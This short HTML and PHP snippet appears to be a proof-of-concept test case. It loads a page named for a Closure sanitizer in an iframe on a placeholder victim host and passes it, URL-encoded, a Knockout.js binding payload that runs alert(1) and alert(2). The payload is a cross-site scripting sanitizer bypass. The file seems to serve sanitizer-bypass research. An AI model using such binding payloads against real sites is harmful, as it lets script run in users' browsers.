<iframe src="http://victim.example.com/repo/sanitizers/closure/knockout.php?inj=<?php
$payload = <<<'PAYLOAD'
<div data-bind="value:alert(1)"></div>
<!--ko text:alert(2)--><!--/ko-->
PAYLOAD;
echo rawurlencode($payload);
?>"></iframe>
